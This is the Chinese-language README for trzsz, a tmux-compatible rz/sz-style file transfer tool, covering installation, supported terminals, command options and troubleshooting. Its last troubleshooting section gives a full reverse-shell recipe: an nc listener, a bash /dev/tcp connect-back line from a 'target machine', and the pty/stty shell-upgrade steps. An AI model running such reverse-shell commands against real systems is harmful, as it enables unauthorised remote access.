trzsz文件傳輸工具
trzsz 是一個兼容 tmux 的文件傳輸工具,和 lrzsz ( rz / sz ) 類似,并且有進(jìn)度條和支持目錄傳輸。
GitHub: https://github.com/trzsz/trzsz
Gitee: https://gitee.com/trzsz/trzsz
為什么?
考慮 laptop -> hostA -> hostB -> docker -> tmux 這種場景,使用 scp 或 sftp 是不方便的。
在這種場景下,使用 lrzsz ( rz / sz ) 是很方便的,但是很可惜它與 tmux 不兼容。
tmux 不愿意支持 rz / sz ( 906, 1439 ),而重新造一個工具比修改 tmux 簡單很多。
優(yōu)點(diǎn)介紹
- 支持 tmux,包括 tmux 普通模式,以及與 iTerm2 集成的 tmux 命令模式。
- 支持 傳輸目錄,
trz -d命令上傳目錄,tsz -d xxx命令下載 xxx 目錄。 - 支持 斷點(diǎn)續(xù)傳,
trz -y或tsz -y xxx覆蓋目標(biāo)文件會自動進(jìn)行斷點(diǎn)續(xù)傳。 - 支持 Windows,不僅可在 Windows 客戶端使用,也可在 Windows ssh 服務(wù)器使用。
- 支持 原生終端,不需要原生終端做支持,只要使用
trzsz ssh x.x.x.x登錄即可。 - 支持 web 終端,通過 web 瀏覽器在本地與服務(wù)器之間傳輸目錄和文件。
- 支持 拖動上傳,將文件和目錄拖到終端窗口即可上傳到遠(yuǎn)程服務(wù)器。
- 支持 進(jìn)度條,顯示當(dāng)前正在傳輸?shù)奈募⑦M(jìn)度、大小、速度和剩余時(shí)間等。
- 更好的 交互體驗(yàn),傳輸成功或出錯時(shí)顯示友好的結(jié)果,
ctrl + c優(yōu)雅中止。
安裝指南
在遠(yuǎn)程服務(wù)器上安裝
-
安裝 用 Go 實(shí)現(xiàn)的版本( ? 推薦 )
請查看 Go 版安裝指引:https://trzsz.github.io/cn/go
-
或者用 Python3 安裝
sudo python3 -m pip install --upgrade trzsz -
或者用 Python2 安裝
sudo python2 -m pip install --upgrade trzsz -
或者用 Homebrew 安裝
brew update brew install trzsz
-
或者用 Node.js 安裝
sudo npm install -g trzsz
沒有 sudo 權(quán)限也可以安裝,只要將安裝路徑 ( 可能是 ~/.local/bin ) 添加到 PATH 環(huán)境變量中即可。
支持的終端
-
trzsz-ssh ( tssh ) -- 內(nèi)置支持 trzsz 的 ssh 客戶端( ? 推薦 )。
-
iTerm2 -- 參考 Trzsz-iTerm2 安裝文檔。
-
tabby -- 安裝 tabby-trzsz 插件即可。
-
electerm -- 升級到
1.19.0以上的版本即可。 -
ttyd -- 升級到
1.7.3以上的版本,并且啟動時(shí)加上-t enableTrzsz=true,非 localhost 要用https。 -
trzsz-go -- 只要是支持本地 shell 的終端就可以用。
-
trzsz.js -- 讓運(yùn)行在瀏覽器中的 webshell 和用 electron 開發(fā)的終端支持
trzsz。
如果你的終端也支持 trzsz,請告訴我,我很樂意將它加到此列表中。
使用指南
trz 上傳文件
trz 命令可以不帶任何參數(shù),將上傳文件到當(dāng)前目錄。也可以帶一個目錄參數(shù),指定上傳到哪個目錄。
trz /tmp/
tsz 下載文件
tsz 可以帶一個或多個文件名(可使用相對路徑或絕對路徑,也可使用通配符),將下載指定的文件。
tsz file1 file2 file3
-q 靜默模式
trz -q 或 tsz -q xxx ( 加上 -q 選項(xiàng) ),則在傳輸文件時(shí)不顯示進(jìn)度條。
-y 覆蓋模式
trz -y 或 tsz -y xxx ( 加上 -y 選項(xiàng) ),如果存在相同文件名的文件就直接覆蓋,并支持?jǐn)帱c(diǎn)續(xù)傳。
-b 二進(jìn)制模式
trz -b 或 tsz -b xxx ( 加上 -b 選項(xiàng) ),二進(jìn)制傳輸模式,對于壓縮包、圖片、影音等較快。
-e 轉(zhuǎn)義控制字符
二進(jìn)制模式時(shí),控制字符可能會導(dǎo)致失敗,trz -eb 或 tsz -eb xxx ( 加上 -e 選項(xiàng) ) 轉(zhuǎn)義所有已知的控制字符。
-d / -r 傳輸文件夾
trz -d 或 tsz -r xxx ( 加上 -d 或 -r 選項(xiàng) ),則可以上傳或下載指定文件夾和文件。
-B 緩沖區(qū)上限
trz -B 20m 或 tsz -B 2M xxx 等,設(shè)置最大緩沖區(qū)上限 ( 默認(rèn) 10M )。會自動根據(jù)網(wǎng)速選擇合適的緩沖區(qū)大小,但不會超過此上限。
-t 超時(shí)時(shí)間
trz -t 30 或 tsz -t 30 xxx 等,設(shè)置超時(shí)秒數(shù) ( 默認(rèn) 20 秒 )。在超時(shí)時(shí)間內(nèi),如果無法傳完一個緩沖區(qū)大小的數(shù)據(jù)則會報(bào)錯并退出。設(shè)置為 0 或負(fù)數(shù),則永不超時(shí)。
異常處理方法
-
如果
tmux是運(yùn)行在本地電腦上。- 方案 1:使用
tmux -CC與 iTerm2 集成,請參考 iTerm2 與 tmux -CC 集成。 - 方案 2:在本地電腦上安裝 trzsz-go,在
tmux之后用trzsz ssh登錄。
- 方案 1:使用
-
如果
tmux是運(yùn)行在跳板機(jī)上。- 方案 1:使用
tmux -CC與 iTerm2 集成,請參考 iTerm2 與 tmux -CC 集成。 - 方案 2:在跳板機(jī)上安裝 trzsz-go,在
tmux之后用trzsz -r ssh登錄。
- 方案 1:使用
-
如果出現(xiàn)了錯誤,且
trzsz掛住不能動了:- 按組合鍵
control + c可以停止服務(wù)器上的trz或tsz進(jìn)程。 - 對于 iTerm2 用戶,按組合鍵
command + option + shift + r可以停止 iTerm2 Coprocesses。
- 按組合鍵
-
如果
trz -b二進(jìn)制上傳失敗,并且登錄遠(yuǎn)程服務(wù)器時(shí)使用了telnet或docker exec:- 可以試試轉(zhuǎn)義所有控制字符,例如
trz -eb。
- 可以試試轉(zhuǎn)義所有控制字符,例如
-
如果
trz -b或tsz -b二進(jìn)制傳輸失敗,并且登錄遠(yuǎn)程服務(wù)器時(shí)使用了expect:- 可以試試在
expect腳本前設(shè)置環(huán)境變量export LC_CTYPE=C,例如:#!/bin/sh export LC_CTYPE=C expect -c ' spawn ssh xxx expect "xxx: " send "xxx\n" interact '
- 可以試試在
-
如果想在反彈 shell 中使用
trz / tsz上傳和下載,則需要按以下步驟操作:- 1. 使用
tssh xxx或trzsz ssh xxx登錄服務(wù)器。 - 2. 在服務(wù)器上執(zhí)行
nc -lnv 1337,等待反彈 shell 連接。 - 3. 在目標(biāo)機(jī)器反彈連接到服務(wù)器,如
bash -i >& /dev/tcp/192.168.0.1/1337 0>&1。 - 4. 以下在反彈 shell 中操作:
- 4.1. 轉(zhuǎn)換成交互式 shell,如
python3 -c 'import pty; pty.spawn("/bin/bash")'。 - 4.2. 按下
ctrl + z將反彈 shell 轉(zhuǎn)入后臺運(yùn)行。 - 4.3. 執(zhí)行
stty raw -echo; fg屏蔽服務(wù)器的回顯,并將反彈 shell 轉(zhuǎn)到前臺運(yùn)行。 - 4.4. 此時(shí)按一次回車鍵,就會顯示命令行提示符等了。
- 4.5. 設(shè)置終端環(huán)境變量
export TERM=xterm-256color( 此步驟非必須 )。 - 4.6. 檢查是否存在
TMUX環(huán)境變更,若存在則要清掉unset TMUX。 - 4.7. 此時(shí)就可以正常使用
trz / tsz上傳和下載了。
- 4.1. 轉(zhuǎn)換成交互式 shell,如
- 5. 退出交互式 shell 后,輸入的字符將不會回顯,盲打
exit退出反彈 shell。 - 6. 此時(shí)在服務(wù)器上盲打
reset并回車,恢復(fù)終端的默認(rèn)設(shè)置,然后回顯就恢復(fù)正常了。
- 1. 使用
